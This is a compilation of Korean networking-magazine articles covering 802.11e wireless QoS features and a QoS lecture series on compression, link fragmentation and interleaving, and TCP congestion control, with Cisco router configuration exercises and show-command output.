TXOP 소유자라고 불리우는 폴링된 스테이션은 QoS CF-Poll 프레임을 받으므로써 QoS CF-Poll 프레임에 정의돼 있는 TXOP 제한값만큼의 시간 동안 채널 접속에 대한 권한을 갖고 여러 개의 프레임을 전송한다. 이때 다른 스테이션도 비록 자신들에게 해당되지는 않지만 QoS CF-Poll 프레임을 받은 후에는 TXOP 시간과 일정 시간을 합해 자신의 NAV(Network Allocation Vector)를 설정하며, 이 시간 동안은 채널 접속에 대한 경쟁을 하지 않는다(그림 2).
결국 HC는 계약된 QoS 요구 사항을 만족하기 위해 QoS CF-Poll 프레임의 적절한 전송을 스케줄링해야 할 필요가 있다. 무선 매체는 시간 또는 위치에 따른 채널의 조건이 다양하기 때문에 효율적인 스케줄링 알고리즘을 만드는 것은 QoS를 지원하는데 있어서 중요한 요소 중 하나가 된다. 아주 우수한 스케줄링 알고리즘은 QoS 계약을 위반하지 않으면서 보다 많은 트래픽 스트림을 허용해 무선 네트워크의 성능을 향상 시킬 수 있도록 한다.
802.11e MAC의 선택 기능
앞에서 논의된 EDCA와 HCCA 프로토콜 이외에도 802.11e는 MAC 기능 향상을 위해 몇 가지 추가적인 선택 기능을 제공한다.
·CFB(Contention Free Burst) 방식
액세스 포인트나 스테이션은 매체 경쟁을 줄임으로써 효율성을 증가하기 위해 CFB(Contention Free Burst) 방식을 사용한다. CFB는 주어진 TXOP 시간이 남아 있고 전송해야 할 데이터가 있는 경우 사용된다. 기존 802.11에서는 또 다른 데이터를 전송할 경우 반드시 매체 접근을 위해 새로운 경쟁을 해야 하지만(그림 3a), 802.11e는 스테이션이 매체 경쟁없이 SIFS 시간 지연 후에 전송을 재기할 수 있도록 한다(그림 3b). 따라서 CFB는 DIFS와 백오프에 의한 오버헤드를 줄임으로써 효과적으로 성능을 향상시킬 수 있다. CFB는 EDCA와 HCCA에 의한 채널 접근 방식 모두에서 얻어지는 TXOP 시간 동안 사용된다.
802.11e는 주어진 TXOP 내에 전송 실패가 발생한 경우 액세스 포인트 또는 스테이션이 이를 복구할 수 있는 방법을 규정하고 있다. 즉, 다른 스테이션이 정상적인 경쟁 메커니즘을 통해 매체 접근 권한을 획득하기 이전에 TXOP 소유자가 전송을 재기할 수 있도록 한다.
또한 CFB는 802.11b와 802.11g가 혼합된 무선 LAN 환경에서 802.11g의 성능을 개선하기 위해 사용될 수 있다. 느린 전송 속도의 802.11b가 하나의 프레임을 전송할 수 있는 시간에 보다 빠른 전송 속도를 제공하는 802.11g 스테이션은 여러 개의 프레임을 동시에 전송할 수 있기 때문이다. 802.11b를 사용하는 스테이션에 할당된 하나의 프레임 전송시간과 동일한 시간으로 802.11g 스테이션에 하나의 TXOP가 할당될 수 있다.
일부 무선 LAN 업체들은 이미 자사 고유의 패킷 버스팅 기능을 구현했다. 그러나 802.11e는 다양한 장비업체의 장비간 호환성을 제공하기 위해 표준화된 버스팅 기능으로 CFB를 정의하고 있다.
블록 ACK(Acknowledgement)
기존의 802.11 MAC은 프레임을 성공적으로 수신한 후에는 ACK(Acknowledgement) 프레임을 전송한다. 블록(Block) ACK는 ACK 프레임을 받기 전에 여러 개의 데이터 프레임을 전송할 수 있도록 허용하는데, 이는 모든 프레임의 전송 과정에 발생하는 오버헤드를 감소시켜 무선 채널을 보다 효율적으로 사용할 수 있도록 한다. 블록 ACK는 액세스 포인트와 스테이션 간에 접속 설정과 협상 과정에 의해 개시된다. 블록 ACK가 설정되면 여러 개의 QoS 데이터 프레임들은 각 프레임간 SIFS의 시간 간격으로 CFB 방식을 사용해 전송된다. 802.11e에서는 두 가지의 블록 ACK 메커니즘으로써 각각 '즉각적인(Immediate)'과 '지연된(Delayed)' 방식을 정의한다.
·즉각적인 블록 ACK
즉각적인(Immediate) 블록 ACK 방식에서는 액세스 포인트나 스테이션이 주어진 TXOP 시간 내에 여러 개의 데이터 프레임을 CFB 방식으로 전송한다. CFB의 마지막 시점에 송신측은 블록 ACK 요구 프레임을 전송하며, 수신 측에서는 이전에 수신한 데이터 프레임들의 상태를 포함한 블록 ACK 프레임을 즉시 전송한다(그림 4a).
·지연 블록 ACK
지연(Delayed) 블록 ACK 방식에서도 즉각적인 블록 ACK 방식과 동일하게 CFB 방식으로 다수의 데이터 프레임을 전송한 후에 블록 ACK 요구 프레임을 전송한다. 그러나 수신 측은 블록 ACK 요구 프레임에 대한 응답으로써 블록 ACK 프레임이 지연됨을 알리기 위해 일반적인 ACK 프레임 만을 전송한다. 이후 해당 스테이션에게 새로운 TXOP가 할당될 때 송신측에 지연된 블록 ACK를 전송하게 된다(그림 4b). 지연된 블록 ACK 방식은 전체적인 지연을 향상하는 동시에, 신속히 ACK를 계산할 수 없는 낮은 성능의 시스템에 보다 많은 시간을 제공한다.
앞에서 살펴본 블록 ACK 방식 이외에도 실시간 전송을 요구하는 특정 애플리케이션에 사용할 수 있는 'No ACK' 방식도 802.11e에 정의돼 있다. No ACK 방식은 어느 정도의 프레임 손실을 감내하더라도 전송 지연에는 민감한 애플리케이션을 우선 전송하는 특징이 있다.
직접 링크 프로토콜
직접 링크(Direct Link)는 동일 네트워크에 있는 두 개의 스테이션이 액세스 포인트를 경유하지 않고 직접 데이터를 교환하는 방식이다. 기존 802.11 MAC에서는 하나의 스테이션이 동일 논리적 네트워크에 있는 다른 스테이션에게 프레임을 전송하기 위해 반드시 액세스 포인트를 통하게 돼 있다. 이 방식은 숨겨진 스테이션 문제와 같이 두 개의 스테이션이 서로의 무선 접속 범위를 벗어나 있는 경우에도 액세스 포인트를 경유해 통신할 수 있도록 한다. 하지만 이 방식은 직접 링크 방식에 비해 스테이션간 통신을 위한 무선 채널 대역을 약 절반정도 감소시키며, 전송지연에 민감한 트래픽을 효과적으로 지원할 수 없다.
802.11e에 정의된 DLP(Direct Link Protocol)는 두 개의 스테이션이 서로의 무선 접속 범위 내에 있을 경우, 스테이션 간 직접 프레임 전송을 할 수 있는 메커니즘을 제공한다. DLP의 동작 절차는 우선 직접 통신을 원하는 스테이션이 액세스 포인트에 DLP 요구 프레임을 전송함으로써 개시된다. 액세스 포인트는 DLP 요구 프레임을 상대 스테이션에 전달하고, 상대 스테이션으로부터 DLP 성공 상태를 포함한 DLP 응답 프레임을 수신해 DLP를 개시한 스테이션에게 전달한다. 이로써 액세스 포인트를 경우하지 않는 두개의 스테이션간 직접 통신이 시작된다(그림 5).
하지만 액세스 포인트가 DLP를 허용하지 않거나, 또는 상대 스테이션이 동일 네트워크에 위치하지 않는 경우에는 DLP 설정이 실패할 수 있다. 이 때 액세스 포인트는 'not allowed'나 'not present' 상태를 포함해 DLP를 개시한 스테이션에 DLP 응답 프레임을 전송한다. DLP 접속을 종료하기 위해서는 'DLP teardown' 메시지가 사용되며, 또한 DLP에 의해 연결된 스테이션은 일정 시간 이상 프레임 전송을 하지 않는 DLP 접속을 감시하기 위해 DLP 비활성 타이머(Inactivity Timer)를 유지한다.
APSD(Automatic Power-Save Delivery)
APSD(Automatic Power-Save Delivery)는 기존 802.11의 절전 모드(Power Save) 메커니즘을 개선한 방식이다. APSD는 비콘 주기의 반복되는 패턴에 근거해 스테이션에게 액세스 포인트로부터의 프레임 수신을 위해 다운 링크에 대한 스케줄링을 할 수 있도록 한다. APSD가 활성화되면 액세스 포인트는 APSD 설정 시에 정의된 비콘 주기 수만큼 APSD 스테이션의 프레임을 버퍼링 한 후에 자신의 서비스 주기에 깨어난 스테이션에 버퍼링된 프레임을 전송한다. 이 방식은 전원을 사용하지 않는 데이터 송수신이 없는 대부분의 시간 동안 사용된다. 따라서 일정 시간 동안 데이터를 전송하는 VoIP와 같은 애플리케이션에 적합하다.
VoWLAN 시장 확산에 802.11e 표준화 완료가 관건
표준화 진행 속도가 빠르게 진행되는 무선 LAN 기술에 보조를 맞추기 어려운 상황이 간혹 발생한다. 2004년 6월 802.11i 보안 관련 표준화가 완료되기 이전에 몇몇 장비 업체에서는 802.11i 표준에 기반을 둔 제품을 출시했었다.
이제 802.11e에서도 802.11i와 유사한 상황이 재현되고 있다. 2004년 내에 802.11e 표준화가 완료될 것으로 예상했으나, 최종 표준안의 승인은 2005년 상반기 중으로 예상되고 있다. 그러나 음성 서비스나 비디오와 같은 멀티미디어 애플리케이션에 대한 요구가 증가하자 Wi-Fi 협회에서는 802.11e의 드래프트 버전에 기반한 WMM(Wi-Fi Multimedia) 인증 프로그램을 2004년 9월에 발표했다.
Wi-Fi 협회에서는 무선 LAN에서 멀티미디어 QoS 구현을 위한 요구 사항을 개발하고 여러 업체들의 제품간 호환성을 인증하기 위한 상호 호환성 시험을 수행하고 있다. 현재 WMM은 인증 프로그램의 대상으로 802.11e의 경쟁 기반 EDCA 프로토콜만을 채택하고 있다. WMM 인증 프로그램은 멀티미디어를 지원하는 무선 LAN 제품의 개발뿐 아니라, TV, DVD 플레이어와 같은 가전 제품과 무선 LAN 제품의 통합에도 촉매제가 될 것이다. 또한 2005년 상반기부터는 HCCA 프로토콜을 지원하는 WSM(Wi-Fi Scheduled Multimedia) 인증 프로그램을 시작할 예정이다.
최근에는 일부 장비 업체에서 WMM 인증 프로그램을 통과한 제품을 시장에 출시하고 있다. 이런 제품들은 802.11e 표준화가 완료되면, 드래프트 버전과 최종 표준안 사이에 변경된 부분에 대해 소프트웨어 다운로드를 통한 업데이트가 가능할 것으로 보인다.
802.11e는 기존 무선 LAN 서비스업체에게도 상당한 의미를 부여할 것으로 본다. 음성, 비디오와 같이 실시간 전송이 필요한 트래픽에 QoS를 제공함으로써, 서비스 업체는 접속 매체로서 무선 LAN을 또 다른 시각으로 바라보게 될 것이기 때문이다. 특히 VoWLAN와 같이 무선 LAN을 사용한 음성 서비스의 증가 추세는 802.11e 표준화에 지대한 영향을 받을 전망이다.
이상에서 살펴본 바와 같이 802.11e MAC은 기존의 802.11 MAC의 무선 채널 접근 방식을 개선해 향후 무선 LAN에서도 QoS를 지원할 수 있도록 하고 있다. 802.11e 표준이 완료되면 그동안 사용자의 발목을 잡고 있는 무선 LAN QoS 문제가 해결되면 무선 LAN 사용 범위와 활용도가 더욱 확대될 것이다. 이를 통해 무선 LAN에서의 음성, 비디오, 멀티미디어 애플리케이션과 같은 다양한 서비스가 제공돼 무선 LAN을 통한 새로운 수익 구조를 만들어 갈 수 있게 될 것이다.
출처 - http://www.ionthenet.co.kr
ISP로부터 제공 받아 사용하는 대부분의 WAN 구간은 LAN 구간에 비해 상대적으로 고가이기 때문에 적은 대역폭으로 구성되는 것이 일반적이다. 이때, WAN 구간의 대역폭보다 큰 용량의 트래픽을 전송해야 하는 상황이 된다면 외부로 전송되지 못한 패킷들이 큐에 적체되게 돼 지연, 지터, 드롭이 발생하게 될 것이다. 만일 이 트래픽이 비디오나 음성과 같이 일정시간 내에 전달돼야만 하는 패킷이라면 아마도 정상적인 서비스를 제공하지 못하게 될 것이다. 이번호에서는 링크를 효율적(Link Efficiency)으로 사용하기 위한 QoS 기법에 대해 알아보자.
김화식 | 온세통신 시설운영팀, NRC Network+ 팀 마스터
지난호에는 QoS의 세부적인 튜닝 부분으로 들어가서 혼잡회피(congestion avoidance)에 대해 알아봤다. TCP의 작동 메커니즘을 확인하고 혼잡을 예방하기 위한 방법인 RED와 WRED를 소개했다. 이번 시간에는 QoS의 세부적인 튜닝 방법 중 하나로, 링크를 효율적으로 사용하기 위한 기술인 압축(compression) 기법과 LFI(Link Fragmentation and Interleaving) 기법에 대해 알아볼 것이다
압축 기법은 WAN 구간으로 패킷을 전송하기 전에 압축을 해서 전송하는 기술로, 패킷의 페이로드(payload) 부분을 압축하는 방법과 헤더(hader) 부분을 압축하는 방법으로 구분된다.
LFI 기법은 연속 지연(serialization delay)에 직접적으로 영향을 주는 기술로, 크기가 작은 패킷이 큰 패킷 뒤에 있는 경우, 큰 패킷이 큰 패킷의 길이만큼 더 지연이 되는 현상을 줄이기 위한 것이다. 이는 큰 패킷을 여러 작은 크기로 나눈(fragmentation) 후 각 개체들이 서비스 되어지는 사이사이에 작은 패킷을 끼어넣어(interleaving) 주는 방법으로, 보통 작은 패킷들이 지연에 민감한 애플리케이션에서 사용되는 경우가 많다.
압축 기법의 종류와 특징
압축 기법은 원본 패킷을 수학적인 알고리즘을 이용해 작게 압축해 전송한다. 반대편에서는 수신된 압축패킷을 다시 수학적인 알고리즘을 이용해 압축을 푸는 과정을 진행한다. 많은 수학자와 컴퓨터 과학자들이 다양한 압축 알고리즘을 개발하는 과정에서 압축하는 비율에 따라 효율이 좋은 경우와 나쁜 경우가 발생함을 발견했다. 또 같은 비율의 압축 방법이라도 다른 압축 알고리즘을 이용하면 각각 다르게 CPU와 메모리를 사용한다는 것도 확인하였다. 따라서 트래픽 패턴과 장비의 성능을 분석하고 적절한 압축 기법을 적용해야 한다.
앞서 말했듯이 어떤 부분을 압축하느냐에 따라 페이로드 압축과 헤더 압축으로 구분되는데, 페이로드 압축은 패킷의 헤더 부분과 데이터 부분을 압축하는 방법으로, 패킷의 크기가 큰 경우에는 헤더 압축보다 좋은 압축 효율을 제공하는 장점이 있다. 반면, 헤더 압축은 헤더 부분만을 압축하는 방법으로, 패킷의 크기가 작을 때 좋은 압축 효율을 제공한다.
(그림 1)은 페이로드 압축시 압축 필드와 헤더 압축시 압축 필드를 표시한 그림이다. 두가지 타입의 압축방법 모두 CPU와 메모리 부하를 발생시킨다. 어느 압축 알고리즘이나 계산하는데 걸리는 시간만큼 패킷의 지연은 늘어나기 마련이다. 하지만 압축 과정에서 작아진 패킷들은 적은 대역폭에서도 높은 성능을 발휘할 수 있다.
(그림 2)는 압축에 의한 지연과 대역폭의 변화에 대해 나타낸 그림이다. 압축 알고리즘에 의한 계산시간 증가로 포워딩 지연은 증가하지만, 압축에 의해 작아진 패킷 덕에 연속 지연(serialization delay)이나 큐잉 지연(queuing delay)은 줄어든다. 또한 프레임 릴레이와 ATM 네트워크 환경이라면 네트워크 지연도 줄어든다(네트워크 지연도 패킷의 크기에 비례하기 때문).
(그림 2)에서 1500바이트 패킷이 클라이언트에서 서버까지 전송하는 상황을 보면, 먼저 압축하지 않은 상황에서의 총 지연시간은 57(1+15+40+1)ms인 것을 알 수 있다. 압축 비율을 2:1로 적용했을 때 47(10+7+20+10)ms로 10ms 정도 줄어든 것을 알 수 있다. 실제적으로는 10ms의 지연시간이 줄어든 효과보다는 WAN 구간에서 전송할 수 있는 효율이 두배로 늘어났다는 점이 더 중요하다고 볼 수 있다. 물론, 전체적으로 두배의 전송 효율이 늘어난 것은 아니지만 WAN 구간에 의해 전체적인 성능이 결정되는 상황을 감안하면, 압축 기법은 실제로 전체적인 성능 향상에 크게 도움이 될 수 있다.
최근에는 압축 알고리즘을 하드웨어에서 지원함으로 CPU나 메모리의 부하를 줄임과 동시에 압축으로 인해 생기는 지연도 크게 줄어들었다.
페이로드 압축
페이로드 압축은 패킷의 3계층 헤더를 포함한 데이터 필드 부분을 압축하는 기법으로, 패킷의 크기가 클수록 압축 효율이 좋아진다. 라우터에서 지원하는 페이로드 압축 기법은 스택커(stacker), MPPC(Microsoft Point-to-Point Compression), 프레딕터(predictor) 등 3가지가 있다.
프레딕터는 일종의 코드북을 메모리에 저장하고 있다가 압축하고자 하는 문자열을 코드북의 내용과 비교해 같은 내용이 있으면 코드북의 자리값을 표기하는 방식으로 압축을 한다. 프레딕터는 메모리를 많이 사용하기 때문에 메모리 크기에 의존적이라고 할 수 있다.
스택커와 MPPC는 압축하고자 하는 문자열을 CPU가 Lempel-Ziv라는 압축 알고리즘을 이용해 압축한다. CPU를 많이 사용해 계산하기 때문에 CPU에 의존적이라고 할 수 있다.
페이로드 압축 기법은 실제 적용시 유의할 사항이 몇 가지 있는데 다음과 같다.
·WAN 구간의 지원 여부에 따른 압축 기법 선택
·라우터의 CPU와 메모리에 따른 압축 기법 선택
·적용시 양쪽 장비에 동일 압축 기법 적용
헤더 압축
헤더 압축은 패킷의 헤더(3, 4계층) 부분을 압축하는 기법으로, 2가지 종류로 분류돼 사용된다. 하나는 TCP 헤더 압축으로 IP와 TCP 헤더부분 40바이트를 3~5바이트로 압축하며, 또 다른 하나는 RTP 헤더 압축으로 IP, UDP, RTP 헤더 40바이트를 2~4바이트로 압축한다.
TCP 헤더 압축의 경우 압축의 효율을 최대한으로 높이기 위해서는 패킷의 크기가 작아야 한다. 예를 들어 64바이트의 패킷과 1500바이트의 패킷에 각각 TCP 헤더 압축을 적용해 보자. 64바이트의 패킷 중 40바이트의 헤더 부분을 압축하면 27~29바이트로 줄어들어, 압축전과 비교하면 약 2.37배(64/27)의 압축 효과가 생긴다. 그러나, 1500바이트의 패킷은 40바이트의 헤더 부분을 압축해도 1463바이트 정도로 줄어들어 압축전과 비교하면 약 1.02배(1500/1463)의 압축 효과밖에 생기지 않는다.
RTP 헤더 압축은 VoIP 트래픽에 적용할 때 가장 탁월한 효과를 발휘한다. VoIP 트래픽은 대부분 작은 패킷을 사용하기 때문이다. 예를 들면, 라우터에서 G.729 코덱을 사용하면 데이터의 크기는 20바이트 밖에 되지 않는다. 20바이트의 데이터에 IP, UDP, RTP 헤더가 40바이트 붙어 60바이트의 VoIP 패킷이 되기 때문에 헤더부분을 4바이트 정도로 압축을 하면 VoIP 패킷의 크기는 60바이트에서 24바이트로 줄어들게 된다.
(표 2)는 VoIP 데이터에서 헤더 압축 적용전과 적용후의 총 필요 대역폭의 비교를 나타낸 것이다.
연속 지연 줄이는 'LFI'
압축기법 사용의 가장 큰 이유는 적은 대역폭을 조금이라고 넓게 사용하고자 하는 목적으로, 성능을 향상시키는 측면에서 접근한 것이다. 이에 반해 LFI(Link Fragmentation and Interleaving)는 직접적으로 연속 지연을 줄이기 위한 목적으로 만들어진 것이다.
먼저, 이해를 돕기 위해 연속 지연에 대해 간단하게 설명하도록 하겠다. 연속 지연은 프레임을 물리적인 링크에 실어보내는 과정에서 걸리는 시간을 말한다. 만일 물리적인 대역폭이 xbps라고 하면 1/x초 동안에 1비트를 전송할 수 있으며, y비트의 프래임을 전송한다면 y/x 초가 걸리게 된다. 실제로 예를 들면 56Kbps의 링크에서 1500바이트 프레임(1만 2000비트)을 전송한다고 가정하면, 연속 지연은 12,000/56,000초가 걸리므로 214ms가 된다. 여기에서 문제가 발생할 수 있는데 1500바이트의 패킷 뒤에 60바이트의 VoIP 패킷이 있게 되면, 이 VoIP 패킷은 자기자신의 연속 지연은 약, 8.5ms 밖에 안되지만 실제로는 앞의 패킷이 전송될 때까지 기다려야 하기 때문에 연속 지연은 222.5ms가 된다. 이 수치는 이미 VoIP 트래픽으로서는 사용할 수 없다는 것을 뜻한다(VoIP 트래픽은 총지연의 합이 300ms 이내로 전송돼야 정상적으로 서비스를 할 수 있다).
위의 예처럼 작은 패킷들이 큰 패킷 뒤에서 서비스 되는 과정에서 생기는 문제점을 해결하기 위해 만든 기술이 LFI인 것이다. LFI는 작은 패킷의 앞에 있는 큰 패킷을 여러 조각으로 분해(Fragment)한 후 작아진 조각들 사이에 작은 패킷을 끼워넣어 먼저 서비스되게 만드는 기술이다.
(그림 3)을 보면 앞에 있는 1500바이트의 패킷을 300바이트×5개로 분해한 후 첫번째 조각을 서비스한 후 두번째 조각의 자리에 60바이트의 VoIP 패킷을 끼워넣은 모습을 볼 수 있다. 이 LFI 기술을 적용한 후 VoIP 패킷의 연속 지연은 52.5ms(44+8.5)로 적용하기 전 222.5ms에 비하면 170ms의 지연시간을 줄여주기 때문에 실제로 양질의 VoIP 패킷으로 서비스할 수 있게 된 것이다(나눠진 300바이트의 패킷에 8바이트의 플래그먼트 헤더와 2바이트의 플래그먼트 테일러가 붙어서 실제 나눠진 패킷의 크기는 311바이트가 된다).
☞ 연습문제 1
그럼 이제부터는 연습문제를 풀어보면서 LE(Link Efficiency) 메커니즘 초급 설정에 대해 알아보자.
(그림 4)를 보고 다음의 조건을 만족하도록 라우터 3에 설정하라.
① 라우터 3는 포인트 투 포인트 프로토콜 128Kbps로 연결돼 있다.
② 페이로드 압축 기법을 이용해 설정하라.
③ 메모리의 여유를 활용할 수 있게 설정하라
☞ 연습문제 1에 대한 설명
압축 적용시 유의사항을 확인하며 적용한다.
① WAN 구간의 지원 여부에 따른 압축 기법 선택
→ PPP에서는 3가지 압축기법이 모두 지원된다.
② 라우터의 CPU와 메모리에 따른 압축기법 선택
→ 페이로드 압축기법 중 메모리를 주로 사용하는 기법은 프레딕터이다.
③ 적용시 양쪽 장비에 동일 압축기법 적용
☞ 연습문제 1 설정하기
페이로드 압축 기법(프레딕터) 설정
!
interface Serial 0/1
bandwidth 128 → 대역폭 설정
ip address 192.168.12.253 255.255.255.0
encapsulation ppp → 포인트 투 포인트 환경 설정
compress predictor → 페 이로드 압축 기법(프레딕터) 설정함
clockrate 128000
!
☞ 연습문제 1 설정 확인하기
페이로드 압축 기법 설정 확인
r3# show compress
Serial0/1
Software compression enabled
uncompressed bytes xmt/rcv 323994/5494
compressed bytes xmt/rcv 0/0
1 min avg ratio xmt/rcv 1.023/1.422
5 min avg ratio xmt/rcv 1.023/1.422
10 min avg ratio xmt/rcv 1.023/1.422
no bufs xmt 0 no bufs rcv 0
resyncs 2
☞ 연습문제 2
(그림 4)를 보고 다음의 조건을 만족하도록 라우터 3에 설정하라.
① 라우터 3는 포인트 투 포인트 프로토콜 128Kbps로 연결돼 있다.
② TCP 헤더 압축 기법을 이용해 설정하라.
☞ 연습문제 2 설정하기
TCP 헤더 압축 기법 설정
!
interface Serial 0/1
bandwidth 128 → 대역폭 설정
ip address 192.168.12.253 255.255.255.0
encapsulation ppp → 포인트 투 포인트 환경 설정
ip tcp header compression → TCP 헤더 압축 기법 설정
clockrate 128000
!
☞ 연습문제 2 설정 확인하기
TCP 헤더 압축 기법 설정 확인
r3# show ip tcp header-compress
TCP/IP header compression statistics:
Interface Serial0/1:
Rcvd: 252 total, 246 compressed, 0 errors
0 dropped, 0 buffer copies, 0 uffer failures
Sent: 371 total, 365 compressed,
12995 bytes saved, 425880 byte sent
1.3 efficiency improvement factor
Connect: 16 rx slots, 16 tx slots,
218 long searches, 6 misses 0 collisions, 0 negative cache hits
98% hit ratio, five minute miss rate 0 misses/sec, 1 max
생각보다 쉽다는 느낌이 늘 것이다. 이번에는 조금 복잡한 환경에서 LE(Link Efficiency) 메커니즘 고급 설정 연습을 해보자.
☞ 연습문제 3
(그림 5)를 보고 다음의 조건을 만족하도록 R3에 설정하여라.
① R3과 R1은 Frame-Relay 128 kbps로 연결되어있다.
② 시리얼라이제이션 지연이 10ms가 되도록 분해(Fragment)하여라.
③ 모든 트래픽은 64 kbps 로 쉐이핑 하여라. (FRTS사용)
④ Tc 는 10ms로 설정하여라.
⑤ Be 는 사용하지 말아라.
⑥ 서브인터페이스를 이용하여 설정하여라.
☞ 연습문제 3에 대한 설명
압축 적용시 유의사항을 확인하며 적용한다.
① 128Kbps 회선에서 연속 지연이 10ms가 되도록 하기 위해서는
→ x/128000 = 0.01 → x는 1280비트 → 바이트로 바꾸면 160바이트임.
② Tc를 10ms로 설정하기 위해서는
→ Bc/CIR(64000bps) = Tc(10ms) → Bc는 640비트이면 됨.
☞ 연습문제 3 설정하기
LFI 설정은 다음과 같다.
!
interface Serial0/0
no ip address → 서브인터페이스 사용하기 위해 IP를 부여하지 않음
encapsulation frame-relay → 프레임 릴레이 설정을 선언함
load-interval 30
clockrate 128000 → 클럭 레이트를 128000으로 설정함
bandwidth 128 → 대역폭을 128Kbps로 설정함
frame-relay traffic-shaping → 프레임 릴레이 트레픽 쉐이핑을 선언함
!
interface Serial0/0.1 point-to-point → 서브 인터페이스 선언
ip address 192.168.2.253 255.255.255.0 → 소스 포트가 TCP 80인 패킷을 구분
frame-relay class shape-all-64 → shape-all-64라는 클래스 맵을 실행시킴
frame-relay interface-dlci 102 → 프레임 릴레이 dlci 값을 설정함
!
map-class frame-relay shape-all-64 → shape-all-64라는 클래스 맵을 선언
frame-relay traffic-rate 64000 640 → FRTS를 실행함(Tc를 10ms로 설정하기 위해 Bc 값을 CIR의 1/100으로 설정함
no frame-relay adaptive-shaping
frame-relay fair-queue
frame-relay framement 160 → 64Kbps의 대역폭에서 연속 지연을 10ms로 하기 위해 160바이트로 분할함
☞ 연습문제 3 설정 확인하기
LFI 설정을 확인하면 다음과 같다.
R3# show frame-relay fragment interface s 0/0.1 102
fragment size 160 fragment type end-to-end
in framgmented pkts 52 out framgmented pkts 9367
in framgmented byte 5268 out framgmented byte 1511866
in un-fragmented pkts 5552 out un-fragmented pkts 6320
in un-fragmented byte 341743 out un-fragmented byte 405268
in assembled pkts 5577 out per-fragmented pkts 7387
in assembled bytes 346749 out per-fragmented byte 1862784
in dropped reassembling pkts 0 out dropped fragmenting pkts 0
in timeouts 0
in out-of-sequence fragments 0
in fragments with unexpected B bit set 0
in fragments with skipped sequence number 0
out interleaved packets 0
R3# show frame-relay fragment
interface dlci frag-type frag-size in-frag out-frag dropped-frag
Serial0/0.1 101 end-to-end 160 54 9700 0
조금 복잡해 보이지만 지금까지 배워왔던 설정들을 생각해보면 별로 어렵지 않을 것이다. 이번호를 끝으로 이론적인 부분에 대한 설명은 마무리한다. 중요한 것은 어느 한 기술을 아는 것이 아니고 전체적인 흐름을 파악하는 것이다. 가장 먼저 클래스를 구분하고 마킹을 한 후 컨디셔너를 거치면 쉐이핑 또는 폴리싱을 적용하고, 큐잉을 이용해 차별화된 서비스를 제공한 후, 필요시에는 RED나 WRED를 적용하며 WAN구간의 대역폭이 적으면 압축이나 LFI를 적용하는 것처럼, 엔드 투 엔드로 물 흐르듯이 막힘없이 흘러가게 하는 것이 QoS에서는 중요하다. 다음시간에는 QoS를 공부하고 적용하고 싶어하는 사람들을 위해 가상의 시나리오를 만든 후 엔드 투 엔드 QoS를 적용하는 것에 대해 살펴볼 것이다.
출처 - http://www.ionthenet.co.kr
지난 4번의 강좌를 통해 QoS의 전체적인 그림을 그려봤다. 이제부터는 세부적인 튜닝으로 들어가 QoS 혼잡예방을 위한 다양한 메커니즘에 대해 알아보자. 이번 호에는 TCP 프로토콜의 혼잡제어 메커니즘의 작동 방법과 테일 드롭시 어떤 문제점이 있는지, QoS에서는 어떻게 적용하는지 살펴볼 것이다. 특히 이론적으로 중요한 TCP 혼잡제어 메커니즘, 글로벌 싱크로나이제이션, RED, WRED 등에 대해 중점적으로 설명한다.
김화식 | 온세통신 시설운영팀 CCIE
QoS의 혼잡 회피(congestion avoidance) 메커니즘은 TCP 프로토콜이 네트워크 상에서 패킷손실 후 전송속도를 줄이는 TCP 혼잡제어 메커니즘을 기반으로 한다. 이는 큐에 혼잡이 발생하기 전에 미리 일부의 TCP 패킷을 드롭시킴으로 자연스럽게 큐에 들어오는 TCP 트래픽의 양을 줄어들게 만든다. 따라서 큐의 혼잡을 예방해 네트워크의 성능을 저하시키는 테일 드롭(tail drop)과 글로벌 싱크로나이제이션(global synchronization)이 발생하는 것을 미연에 방지한다. 결과적으로는 지연(delay)과 지터(Jitter)를 줄이는 역할을 수행하는 것이다.
TCP 프로토콜과 혼잡 제어
혼잡은 적정 수준 이상으로 큐에 패킷이 쌓여 있는 상태를 말하는데, 이는 주로 많은 양의 패킷이 들어오거나 과도한 쉐이핑 정책으로 인해 큐에 트래픽이 적체돼 있는 상태에서 발생한다(혼잡에 대한 자세한 내용은 QoS 강좌 1회를 참고하면 된다).
이렇게 혼잡이 발생한 상황에서 패킷이 더 들어오면 큐의 용량이 초과된다. 이때 큐의 용량을 초과해 버려지는 현상을 테일 드롭이라고 한다. 테일 드롭이 발생하면 해당 네트워크 상에 있는 대부분의 시스템 성능이 떨어지는데, 이를 두고 글로벌 싱크로나이제이션 현상이라고 한다. 그러면 테일 드롭은 왜 발생하고, 시스템 성능은 왜 저하되는 것일까. 그 이유는 TCP 혼잡제어 메커니즘을 자세히 살펴보면 알 수 있다.
초기에 TCP가 구현될 당시에는 패킷이 손실되거나 다른 이유로 인해 승인 패킷이 수신되지 않는 경우 RTO(Retransmission TimeOut) 만큼 기다렸다가 다시 전송을 시작하는 것이 거의 전부라고 할만큼 혼잡 제어의 개념은 거의 포함돼 있지 않았다.
물론, 당시의 네트워크 전송 속도나 전송되는 정보의 양은 지금과는 비교할 수 없을 정도로 적었기 때문에 그다지 필요성이 부각되지 않았다고 생각할 수 있다. 그러나, 인터넷의 사용이 증가하면서 인터넷 상의 라우터들을 연결하는 링크의 속도 차이로 인해 라우터 버퍼의 오버플로우(overflow)가 발생하고, 이로 인한 패킷 손실이 급격하게 증가하게 됐다. 만일 엔드 투 엔드로 연결이 돼 있을 때 수신측에서 허용 용량만 송신쪽에서 전송을 한다면 혼잡현상이 발생하지 않을 것이다.
TCP 슬로우 스타트와 TCP 혼잡 회피
어떤 TCP 연결이 초기 설정됐을 때 현재의 연결로는 어느 정도의 전송 속도를 수용할 수 있을지 전혀 알 수가 없다. 그렇다고 한꺼번에 많은 패킷들을 전송했다가 혼잡이 발생하면, 이는 더 큰 성능 저하의 요인이 된다. 따라서 현재 연결이 어느 정도의 전송 속도를 수용할 수 있는지를 파악하는 것(흔히 영문으로는 probe라는 용어를 사용한다)은 대단히 중요한 일이다. 이는 TCP 슬로우 스타트(slow start) 알고리즘을 이용하면 가능하다.
(그림 1)을 보면 연결이 설정된 후, 송신원은 초기 cwnd(congestion window: 혼잡 윈도우)를 1로 설정해 패킷 1을 전송한다(실제 TCP는 바이트 단위로 동작한다. 그러나, 설명을 쉽게 하기 위해 여기서는 패킷의 크기가 모두 동일하고, 바이트 대신 일련의 번호로 구분되는 것으로 설정했다).
